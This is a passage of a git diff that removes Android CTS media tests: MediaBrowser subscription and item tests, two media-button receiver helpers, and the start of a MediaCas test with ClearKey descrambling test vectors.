-                protected boolean check() {
-                    return mSubscriptionCallback.mChildrenLoadedWithOptionCount > 0;
-                }
-            }.run();
-            assertEquals(StubMediaBrowserService.MEDIA_ID_ROOT,
-                    mSubscriptionCallback.mLastParentId);
-            if (page != lastPage) {
-                assertEquals(pageSize, mSubscriptionCallback.mLastChildMediaItems.size());
-            } else {
-                assertEquals((StubMediaBrowserService.MEDIA_ID_CHILDREN.length - 1) % pageSize + 1,
-                        mSubscriptionCallback.mLastChildMediaItems.size());
-            }
-            // Check whether all the items in the current page are loaded.
-            for (int i = 0; i < mSubscriptionCallback.mLastChildMediaItems.size(); ++i) {
-                assertEquals(StubMediaBrowserService.MEDIA_ID_CHILDREN[page * pageSize + i],
-                        mSubscriptionCallback.mLastChildMediaItems.get(i).getMediaId());
-            }
-        }
-
-        // Test unsubscribe with callback argument.
-        resetCallbacks();
-        mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
-
-        // After unsubscribing, make StubMediaBrowserService notify that the children are changed.
-        StubMediaBrowserService.sInstance.notifyChildrenChanged(
-                StubMediaBrowserService.MEDIA_ID_ROOT);
-        try {
-            Thread.sleep(SLEEP_MS);
-        } catch (InterruptedException e) {
-            fail("Unexpected InterruptedException occurred.");
-        }
-        // onChildrenLoaded should not be called.
-        assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
-    }
-
-    public void testSubscribeInvalidItem() {
-        resetCallbacks();
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        connectMediaBrowserService();
-        mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_INVALID, mSubscriptionCallback);
-        new PollingCheck(TIME_OUT_MS) {
-            @Override
-            protected boolean check() {
-                return mSubscriptionCallback.mLastErrorId != null;
-            }
-        }.run();
-
-        assertEquals(StubMediaBrowserService.MEDIA_ID_INVALID, mSubscriptionCallback.mLastErrorId);
-    }
-
-    public void testSubscribeInvalidItemWithOptions() {
-        resetCallbacks();
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        connectMediaBrowserService();
-
-        final int pageSize = 5;
-        final int page = 2;
-        Bundle options = new Bundle();
-        options.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
-        options.putInt(MediaBrowser.EXTRA_PAGE, page);
-        mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_INVALID, options,
-                mSubscriptionCallback);
-        new PollingCheck(TIME_OUT_MS) {
-            @Override
-            protected boolean check() {
-                return mSubscriptionCallback.mLastErrorId != null;
-            }
-        }.run();
-
-        assertEquals(StubMediaBrowserService.MEDIA_ID_INVALID, mSubscriptionCallback.mLastErrorId);
-        assertEquals(page, mSubscriptionCallback.mLastOptions.getInt(MediaBrowser.EXTRA_PAGE));
-        assertEquals(pageSize,
-                mSubscriptionCallback.mLastOptions.getInt(MediaBrowser.EXTRA_PAGE_SIZE));
-    }
-
-    public void testSubscriptionCallbackNotCalledAfterDisconnect() {
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        connectMediaBrowserService();
-        mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
-        mMediaBrowser.disconnect();
-        resetCallbacks();
-        StubMediaBrowserService.sInstance.notifyChildrenChanged(
-                StubMediaBrowserService.MEDIA_ID_ROOT);
-        try {
-            Thread.sleep(SLEEP_MS);
-        } catch (InterruptedException e) {
-            fail("Unexpected InterruptedException occurred.");
-        }
-        assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
-        assertEquals(0, mSubscriptionCallback.mChildrenLoadedWithOptionCount);
-        assertNull(mSubscriptionCallback.mLastParentId);
-    }
-
-    public void testUnsubscribeWithIllegalArguments() {
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-
-        try {
-            final String nullMediaId = null;
-            mMediaBrowser.unsubscribe(nullMediaId);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-
-        try {
-            final String emptyMediaId = "";
-            mMediaBrowser.unsubscribe(emptyMediaId);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-
-        try {
-            final MediaBrowser.SubscriptionCallback nullCallback = null;
-            mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT, nullCallback);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-    }
-
-    public void testUnsubscribeForMultipleSubscriptions() {
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        connectMediaBrowserService();
-        final List<StubSubscriptionCallback> subscriptionCallbacks = new ArrayList<>();
-        final int pageSize = 1;
-
-        // Subscribe four pages, one item per page.
-        for (int page = 0; page < 4; page++) {
-            final StubSubscriptionCallback callback = new StubSubscriptionCallback();
-            subscriptionCallbacks.add(callback);
-
-            Bundle options = new Bundle();
-            options.putInt(MediaBrowser.EXTRA_PAGE, page);
-            options.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
-            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, options, callback);
-
-            // Each onChildrenLoaded() must be called.
-            new PollingCheck(TIME_OUT_MS) {
-                @Override
-                protected boolean check() {
-                    return callback.mChildrenLoadedWithOptionCount == 1;
-                }
-            }.run();
-        }
-
-        // Reset callbacks and unsubscribe.
-        for (StubSubscriptionCallback callback : subscriptionCallbacks) {
-            callback.reset();
-        }
-        mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT);
-
-        // After unsubscribing, make StubMediaBrowserService notify that the children are changed.
-        StubMediaBrowserService.sInstance.notifyChildrenChanged(
-                StubMediaBrowserService.MEDIA_ID_ROOT);
-        try {
-            Thread.sleep(SLEEP_MS);
-        } catch (InterruptedException e) {
-            fail("Unexpected InterruptedException occurred.");
-        }
-
-        // onChildrenLoaded should not be called.
-        for (StubSubscriptionCallback callback : subscriptionCallbacks) {
-            assertEquals(0, callback.mChildrenLoadedWithOptionCount);
-        }
-    }
-
-    public void testUnsubscribeWithSubscriptionCallbackForMultipleSubscriptions() {
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        connectMediaBrowserService();
-        final List<StubSubscriptionCallback> subscriptionCallbacks = new ArrayList<>();
-        final int pageSize = 1;
-
-        // Subscribe four pages, one item per page.
-        for (int page = 0; page < 4; page++) {
-            final StubSubscriptionCallback callback = new StubSubscriptionCallback();
-            subscriptionCallbacks.add(callback);
-
-            Bundle options = new Bundle();
-            options.putInt(MediaBrowser.EXTRA_PAGE, page);
-            options.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
-            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, options, callback);
-
-            // Each onChildrenLoaded() must be called.
-            new PollingCheck(TIME_OUT_MS) {
-                @Override
-                protected boolean check() {
-                    return callback.mChildrenLoadedWithOptionCount == 1;
-                }
-            }.run();
-        }
-
-        // Unsubscribe existing subscriptions one-by-one.
-        final int[] orderOfRemovingCallbacks = {2, 0, 3, 1};
-        for (int i = 0; i < orderOfRemovingCallbacks.length; i++) {
-            // Reset callbacks
-            for (StubSubscriptionCallback callback : subscriptionCallbacks) {
-                callback.reset();
-            }
-
-            // Remove one subscription
-            mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT,
-                    subscriptionCallbacks.get(orderOfRemovingCallbacks[i]));
-
-            // Make StubMediaBrowserService notify that the children are changed.
-            StubMediaBrowserService.sInstance.notifyChildrenChanged(
-                    StubMediaBrowserService.MEDIA_ID_ROOT);
-            try {
-                Thread.sleep(SLEEP_MS);
-            } catch (InterruptedException e) {
-                fail("Unexpected InterruptedException occurred.");
-            }
-
-            // Only the remaining subscriptionCallbacks should be called.
-            for (int j = 0; j < 4; j++) {
-                int childrenLoadedWithOptionsCount = subscriptionCallbacks
-                        .get(orderOfRemovingCallbacks[j]).mChildrenLoadedWithOptionCount;
-                if (j <= i) {
-                    assertEquals(0, childrenLoadedWithOptionsCount);
-                } else {
-                    assertEquals(1, childrenLoadedWithOptionsCount);
-                }
-            }
-        }
-    }
-
-    public void testGetItem() {
-        resetCallbacks();
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        connectMediaBrowserService();
-        mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
-        new PollingCheck(TIME_OUT_MS) {
-            @Override
-            protected boolean check() {
-                return mItemCallback.mLastMediaItem != null;
-            }
-        }.run();
-
-        assertEquals(StubMediaBrowserService.MEDIA_ID_CHILDREN[0],
-                mItemCallback.mLastMediaItem.getMediaId());
-    }
-
-    public void testGetItemThrowsIAE() {
-        resetCallbacks();
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-
-        try {
-            // Calling getItem() with empty mediaId will throw IAE.
-            mMediaBrowser.getItem("",  mItemCallback);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-
-        try {
-            // Calling getItem() with null mediaId will throw IAE.
-            mMediaBrowser.getItem(null,  mItemCallback);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-
-        try {
-            // Calling getItem() with null itemCallback will throw IAE.
-            mMediaBrowser.getItem("media_id",  null);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-    }
-
-    public void testGetItemWhileNotConnected() {
-        resetCallbacks();
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-
-        final String mediaId = "test_media_id";
-        mMediaBrowser.getItem(mediaId, mItemCallback);
-
-        // Calling getItem while not connected will invoke ItemCallback.onError().
-        new PollingCheck(TIME_OUT_MS) {
-            @Override
-            protected boolean check() {
-                return mItemCallback.mLastErrorId != null;
-            }
-        }.run();
-
-        assertEquals(mItemCallback.mLastErrorId, mediaId);
-    }
-
-    public void testGetItemFailure() {
-        resetCallbacks();
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        connectMediaBrowserService();
-        mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_INVALID, mItemCallback);
-        new PollingCheck(TIME_OUT_MS) {
-            @Override
-            protected boolean check() {
-                return mItemCallback.mLastErrorId != null;
-            }
-        }.run();
-
-        assertEquals(StubMediaBrowserService.MEDIA_ID_INVALID, mItemCallback.mLastErrorId);
-    }
-
-    public void testItemCallbackNotCalledAfterDisconnect() {
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        connectMediaBrowserService();
-        mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
-        mMediaBrowser.disconnect();
-        resetCallbacks();
-        try {
-            Thread.sleep(SLEEP_MS);
-        } catch (InterruptedException e) {
-            fail("Unexpected InterruptedException occurred.");
-        }
-        assertNull(mItemCallback.mLastMediaItem);
-        assertNull(mItemCallback.mLastErrorId);
-    }
-
-    private void createMediaBrowser(final ComponentName component) {
-        getInstrumentation().runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                mMediaBrowser = new MediaBrowser(getInstrumentation().getTargetContext(),
-                        component, mConnectionCallback, null);
-            }
-        });
-    }
-
-    private void connectMediaBrowserService() {
-        mMediaBrowser.connect();
-        new PollingCheck(TIME_OUT_MS) {
-            @Override
-            protected boolean check() {
-                return mConnectionCallback.mConnectedCount > 0;
-            }
-        }.run();
-    }
-
-    private void resetCallbacks() {
-        mConnectionCallback.reset();
-        mSubscriptionCallback.reset();
-        mItemCallback.reset();
-    }
-
-    private static class StubConnectionCallback extends MediaBrowser.ConnectionCallback {
-        volatile int mConnectedCount;
-        volatile int mConnectionFailedCount;
-        volatile int mConnectionSuspendedCount;
-
-        public void reset() {
-            mConnectedCount = 0;
-            mConnectionFailedCount = 0;
-            mConnectionSuspendedCount = 0;
-        }
-
-        @Override
-        public void onConnected() {
-            mConnectedCount++;
-        }
-
-        @Override
-        public void onConnectionFailed() {
-            mConnectionFailedCount++;
-        }
-
-        @Override
-        public void onConnectionSuspended() {
-            mConnectionSuspendedCount++;
-        }
-    }
-
-    private static class StubSubscriptionCallback extends MediaBrowser.SubscriptionCallback {
-        private volatile int mChildrenLoadedCount;
-        private volatile int mChildrenLoadedWithOptionCount;
-        private volatile String mLastErrorId;
-        private volatile String mLastParentId;
-        private volatile Bundle mLastOptions;
-        private volatile List<MediaBrowser.MediaItem> mLastChildMediaItems;
-
-        public void reset() {
-            mChildrenLoadedCount = 0;
-            mChildrenLoadedWithOptionCount = 0;
-            mLastErrorId = null;
-            mLastParentId = null;
-            mLastOptions = null;
-            mLastChildMediaItems = null;
-        }
-
-        @Override
-        public void onChildrenLoaded(String parentId, List<MediaBrowser.MediaItem> children) {
-            mChildrenLoadedCount++;
-            mLastParentId = parentId;
-            mLastChildMediaItems = children;
-        }
-
-        @Override
-        public void onChildrenLoaded(String parentId, List<MediaBrowser.MediaItem> children,
-                Bundle options) {
-            mChildrenLoadedWithOptionCount++;
-            mLastParentId = parentId;
-            mLastOptions = options;
-            mLastChildMediaItems = children;
-        }
-
-        @Override
-        public void onError(String id) {
-            mLastErrorId = id;
-        }
-
-        @Override
-        public void onError(String id, Bundle options) {
-            mLastErrorId = id;
-            mLastOptions = options;
-        }
-    }
-
-    private static class StubItemCallback extends MediaBrowser.ItemCallback {
-        private volatile MediaBrowser.MediaItem mLastMediaItem;
-        private volatile String mLastErrorId;
-
-        public void reset() {
-            mLastMediaItem = null;
-            mLastErrorId = null;
-        }
-
-        @Override
-        public void onItemLoaded(MediaItem item) {
-            mLastMediaItem = item;
-        }
-
-        @Override
-        public void onError(String id) {
-            mLastErrorId = id;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaButtonBroadcastReceiver.java b/tests/tests/media/src/android/media/cts/MediaButtonBroadcastReceiver.java
deleted file mode 100644
index 1d320d8..0000000
--- a/tests/tests/media/src/android/media/cts/MediaButtonBroadcastReceiver.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.view.KeyEvent;
-
-import java.util.function.Consumer;
-
-public class MediaButtonBroadcastReceiver extends BroadcastReceiver {
-    public static Consumer<KeyEvent> mCallback;
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        assertEquals(Intent.ACTION_MEDIA_BUTTON, intent.getAction());
-        KeyEvent keyEvent = intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
-        synchronized (MediaButtonBroadcastReceiver.class) {
-            if (mCallback != null) {
-                mCallback.accept(keyEvent);
-            }
-        }
-    }
-
-    public synchronized static void setCallback(Consumer<KeyEvent> callback) {
-        synchronized (MediaButtonBroadcastReceiver.class) {
-            mCallback = callback;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaButtonReceiverService.java b/tests/tests/media/src/android/media/cts/MediaButtonReceiverService.java
deleted file mode 100644
index def8cee..0000000
--- a/tests/tests/media/src/android/media/cts/MediaButtonReceiverService.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-
-import android.app.IntentService;
-import android.content.Intent;
-import android.view.KeyEvent;
-
-import java.util.function.Consumer;
-
-public class MediaButtonReceiverService extends IntentService {
-    private static final String TAG = "MediaButtonReceiverService";
-    public static Consumer<KeyEvent> mCallback;
-
-    public MediaButtonReceiverService() {
-        super(TAG);
-    }
-
-    public synchronized static void setCallback(Consumer<KeyEvent> callback) {
-        synchronized (MediaButtonReceiverService.class) {
-            mCallback = callback;
-        }
-    }
-
-    @Override
-    protected void onHandleIntent(Intent intent) {
-        assertEquals(Intent.ACTION_MEDIA_BUTTON, intent.getAction());
-        KeyEvent keyEvent = intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
-        synchronized (MediaButtonReceiverService.class) {
-            if (mCallback != null) {
-                mCallback.accept(keyEvent);
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
deleted file mode 100644
index a5ab09b..0000000
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ /dev/null
@@ -1,802 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaCas;
-import android.media.MediaCas.PluginDescriptor;
-import android.media.MediaCas.Session;
-import android.media.MediaCasException;
-import android.media.MediaCasException.UnsupportedCasException;
-import android.media.MediaCasStateException;
-import android.media.MediaCodec;
-import android.media.MediaDescrambler;
-import android.media.cts.R;
-import android.os.Build;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-import com.android.compatibility.common.util.PropertyUtil;
-
-import java.lang.ArrayIndexOutOfBoundsException;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-@Presubmit
-@SmallTest
-@RequiresDevice
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaCasTest extends AndroidTestCase {
-    private static final String TAG = "MediaCasTest";
-
-    // CA System Ids used for testing
-    private static final int sInvalidSystemId = 0;
-    private static final int sClearKeySystemId = 0xF6D8;
-    private static final int API_LEVEL_BEFORE_CAS_SESSION = 28;
-    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
-    private boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    // ClearKey CAS/Descrambler test vectors
-    private static final String sProvisionStr =
-            "{                                                   " +
-            "  \"id\": 21140844,                                 " +
-            "  \"name\": \"Test Title\",                         " +
-            "  \"lowercase_organization_name\": \"Android\",     " +
-            "  \"asset_key\": {                                  " +
-            "  \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\"  " +
-            "  },                                                " +
-            "  \"cas_type\": 1,                                  " +
-            "  \"track_types\": [ ]                              " +
-            "}                                                   " ;
-
-    private static final String sEcmBufferStr =
-            "00 00 01 f0 00 50 00 01  00 00 00 01 00 46 00 00" +
-            "00 02 00 00 00 00 00 01  00 00 27 10 02 00 01 77" +
-            "01 42 95 6c 0e e3 91 bc  fd 05 b1 60 4f 17 82 a4" +
-            "86 9b 23 56 00 01 00 00  00 01 00 00 27 10 02 00" +
-            "01 77 01 42 95 6c d7 43  62 f8 1c 62 19 05 c7 3a" +
-            "42 cd fd d9 13 48                               " ;
-
-    private static final String sInputBufferStr =
-            "00 00 00 01 09 f0 00 00  00 01 67 42 c0 1e db 01" +
-            "40 16 ec 04 40 00 00 03  00 40 00 00 0f 03 c5 8b" +
-            "b8 00 00 00 01 68 ca 8c  b2 00 00 01 06 05 ff ff" +
-            "70 dc 45 e9 bd e6 d9 48  b7 96 2c d8 20 d9 23 ee" +
-            "ef 78 32 36 34 20 2d 20  63 6f 72 65 20 31 34 32" +
-            "20 2d 20 48 2e 32 36 34  2f 4d 50 45 47 2d 34 20" +
-            "41 56 43 20 63 6f 64 65  63 20 2d 20 43 6f 70 79" +
-            "6c 65 66 74 20 32 30 30  33 2d 32 30 31 34 20 2d" +
-            "20 68 74 74 70 3a 2f 2f  77 77 77 2e 76 69 64 65" +
-            "6f 6c 61 6e 2e 6f 72 67  2f 78 32 36 34 2e 68 74" +
-            "6d 6c 6e 45 21 82 38 f0  9d 7d 96 e6 94 ae e2 87" +
-            "8f 04 49 e5 f6 8c 8b 9a  10 18 ba 94 e9 22 31 04" +
-            "7e 60 5b c4 24 00 90 62  0d dc 85 74 75 78 d0 14" +
-            "08 cb 02 1d 7d 9d 34 e8  81 b9 f7 09 28 79 29 8d" +
-            "e3 14 ed 5f ca af f4 1c  49 15 e1 80 29 61 76 80" +
-            "43 f8 58 53 40 d7 31 6d  61 81 41 e9 77 9f 9c e1" +
-            "6d f2 ee d9 c8 67 d2 5f  48 73 e3 5c cd a7 45 58" +
-            "bb dd 28 1d 68 fc b4 c6  f6 92 f6 30 03 aa e4 32" +
-            "f6 34 51 4b 0f 8c f9 ac  98 22 fb 49 c8 bf ca 8c" +
-            "80 86 5d d7 a4 52 b1 d9  a6 04 4e b3 2d 1f b8 35" +
-            "cc 45 6d 9c 20 a7 a4 34  59 72 e3 ae ba 49 de d1" +
-            "aa ee 3d 77 fc 5d c6 1f  9d ac c2 15 66 b8 e1 54" +
-            "4e 74 93 db 9a 24 15 6e  20 a3 67 3e 5a 24 41 5e" +
-            "b0 e6 35 87 1b c8 7a f9  77 65 e0 01 f2 4c e4 2b" +
-            "a9 64 96 96 0b 46 ca ea  79 0e 78 a3 5f 43 fc 47" +
-            "6a 12 fa c4 33 0e 88 1c  19 3a 00 c3 4e b5 d8 fa" +
-            "8e f1 bc 3d b2 7e 50 8d  67 c3 6b ed e2 ea a6 1f" +
-            "25 24 7c 94 74 50 49 e3  c6 58 2e fd 28 b4 c6 73" +
-            "b1 53 74 27 94 5c df 69  b7 a1 d7 f5 d3 8a 2c 2d" +
-            "b4 5e 8a 16 14 54 64 6e  00 6b 11 59 8a 63 38 80" +
-            "76 c3 d5 59 f7 3f d2 fa  a5 ca 82 ff 4a 62 f0 e3" +
-            "42 f9 3b 38 27 8a 89 aa  50 55 4b 29 f1 46 7c 75" +
-            "ef 65 af 9b 0d 6d da 25  94 14 c1 1b f0 c5 4c 24" +
-            "0e 65                                           " ;
-
-    private static final String sExpectedOutputBufferStr =
-            "00 00 00 01 09 f0 00 00  00 01 67 42 c0 1e db 01" +
-            "40 16 ec 04 40 00 00 03  00 40 00 00 0f 03 c5 8b" +
-            "b8 00 00 00 01 68 ca 8c  b2 00 00 01 06 05 ff ff" +
-            "70 dc 45 e9 bd e6 d9 48  b7 96 2c d8 20 d9 23 ee" +
-            "ef 78 32 36 34 20 2d 20  63 6f 72 65 20 31 34 32" +
-            "20 2d 20 48 2e 32 36 34  2f 4d 50 45 47 2d 34 20" +
-            "41 56 43 20 63 6f 64 65  63 20 2d 20 43 6f 70 79" +
-            "6c 65 66 74 20 32 30 30  33 2d 32 30 31 34 20 2d" +
-            "20 68 74 74 70 3a 2f 2f  77 77 77 2e 76 69 64 65" +
-            "6f 6c 61 6e 2e 6f 72 67  2f 78 32 36 34 2e 68 74" +
-            "6d 6c 20 2d 20 6f 70 74  69 6f 6e 73 3a 20 63 61" +
-            "62 61 63 3d 30 20 72 65  66 3d 32 20 64 65 62 6c" +
-            "6f 63 6b 3d 31 3a 30 3a  30 20 61 6e 61 6c 79 73" +
-            "65 3d 30 78 31 3a 30 78  31 31 31 20 6d 65 3d 68" +
-            "65 78 20 73 75 62 6d 65  3d 37 20 70 73 79 3d 31" +
-            "20 70 73 79 5f 72 64 3d  31 2e 30 30 3a 30 2e 30" +
-            "30 20 6d 69 78 65 64 5f  72 65 66 3d 31 20 6d 65" +
-            "5f 72 61 6e 67 65 3d 31  36 20 63 68 72 6f 6d 61" +
-            "5f 6d 65 3d 31 20 74 72  65 6c 6c 69 73 3d 31 20" +
-            "38 78 38 64 63 74 3d 30  20 63 71 6d 3d 30 20 64" +
-            "65 61 64 7a 6f 6e 65 3d  32 31 2c 31 31 20 66 61" +
-            "73 74 5f 70 73 6b 69 70  3d 31 20 63 68 72 6f 6d" +
-            "61 5f 71 70 5f 6f 66 66  73 65 74 3d 2d 32 20 74" +
-            "68 72 65 61 64 73 3d 36  30 20 6c 6f 6f 6b 61 68" +
-            "65 61 64 5f 74 68 72 65  61 64 73 3d 35 20 73 6c" +
-            "69 63 65 64 5f 74 68 72  65 61 64 73 3d 30 20 6e" +
-            "72 3d 30 20 64 65 63 69  6d 61 74 65 3d 31 20 69" +
-            "6e 74 65 72 6c 61 63 65  64 3d 30 20 62 6c 75 72" +
-            "61 79 5f 63 6f 6d 70 61  74 3d 30 20 63 6f 6e 73" +
-            "74 72 61 69 6e 65 64 5f  69 6e 74 72 61 3d 30 20" +
-            "62 66 72 61 6d 65 73 3d  30 20 77 65 69 67 68 74" +
-            "70 3d 30 20 6b 65 79 69  6e 74 3d 32 35 30 20 6b" +
-            "65 79 69 6e 74 5f 6d 69  6e 3d 32 35 20 73 63 65" +
-            "6e 65                                           " ;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        // Need MANAGE_USERS or CREATE_USERS permission to access ActivityManager#getCurrentUser in
-        // MediaCas. It is used by all tests, then adopt it from shell in setup
-        InstrumentationRegistry
-            .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        InstrumentationRegistry
-            .getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
-        super.tearDown();
-    }
-    /**
-     * Test that all enumerated CA systems can be instantiated.
-     *
-     * Due to the vendor-proprietary nature of CAS, we cannot verify all operations
-     * of an arbitrary plugin. We can only verify that isSystemIdSupported() is
-     * consistent with the enumeration results, and all enumerated CA system ids can
-     * be instantiated.
-     */
-    public void testEnumeratePlugins() throws Exception {
-        PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
-        for (int i = 0; i < descriptors.length; i++) {
-            Log.d(TAG, "desciptor[" + i + "]: id=" + descriptors[i].getSystemId()
-                    + ", name=" + descriptors[i].getName());
-            MediaCas mediaCas = null;
-            MediaDescrambler descrambler = null;
-            byte[] sessionId = null, streamSessionId = null;
-            try {
-                final int CA_system_id = descriptors[i].getSystemId();
-                if (!MediaCas.isSystemIdSupported(CA_system_id)) {
-                    fail("Enumerated " + descriptors[i] + " but is not supported.");
-                }
-                try {
-                    mediaCas = new MediaCas(CA_system_id);
-                } catch (UnsupportedCasException e) {
-                    Log.d(TAG, "Enumerated " + descriptors[i]
-                        + " but cannot instantiate MediaCas.");
-                    throw new UnsupportedCasException(
-                        descriptors[i] + " is enumerated, but cannot instantiate" );
-                }
-                try {
-                    descrambler = new MediaDescrambler(CA_system_id);
-                } catch (UnsupportedCasException e) {
-                    // The descrambler can be supported through Tuner since R.
-                    if (mIsAtLeastR) {
-                        Log.d(TAG, "Enumerated "
-                            + descriptors[i] + ", it doesn't support MediaDescrambler.");
-                    } else {
-                        fail("Enumerated " + descriptors[i]
-                            + " but cannot instantiate MediaDescrambler.");
-                    }
-                }
-
-                // Should always accept a listener (even if the plugin doesn't use it)
-                mediaCas.setEventListener(new MediaCas.EventListener() {
-                    @Override
-                    public void onEvent(MediaCas MediaCas, int event, int arg, byte[] data) {
-                        Log.d(TAG, "Received MediaCas event: "
-                                + "event=" + event + ", arg=" + arg
-                                + ", data=" + Arrays.toString(data));
-                    }
-                    @Override
-                    public void onSessionEvent(MediaCas MediaCas, MediaCas.Session session,
-                            int event, int arg, byte[] data) {
-                        Log.d(TAG, "Received MediaCas Session event: "
-                                + "event=" + event + ", arg=" + arg
-                                + ", data=" + Arrays.toString(data));
-                    }
-                }, null);
-            } finally {
-                if (mediaCas != null) {
-                    mediaCas.close();
-                }
-                if (descrambler != null) {
-                    descrambler.close();
-                }
-            }
-        }
-    }
-
-    public void testInvalidSystemIdFails() throws Exception {
-        assertFalse("Invalid id " + sInvalidSystemId + " should not be supported",
-                MediaCas.isSystemIdSupported(sInvalidSystemId));
-
-        MediaCas unsupportedCAS = null;
-        MediaDescrambler unsupportedDescrambler = null;
-
-        try {
-            try {
-                unsupportedCAS = new MediaCas(sInvalidSystemId);
-                fail("Shouldn't be able to create MediaCas with invalid id " + sInvalidSystemId);
-            } catch (UnsupportedCasException e) {
-                // expected
-            }
-
-            try {
-                unsupportedDescrambler = new MediaDescrambler(sInvalidSystemId);
-                fail("Shouldn't be able to create MediaDescrambler with invalid id " + sInvalidSystemId);
-            } catch (UnsupportedCasException e) {
-                // expected
-            }
-        } finally {
-            if (unsupportedCAS != null) {
-                unsupportedCAS.close();
-            }
-            if (unsupportedDescrambler != null) {
-                unsupportedDescrambler.close();
-            }
-        }
-    }
-
-    public void testClearKeyPluginInstalled() throws Exception {
-        PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
-        for (int i = 0; i < descriptors.length; i++) {
-            if (descriptors[i].getSystemId() == sClearKeySystemId) {
-                return;
-            }
-        }
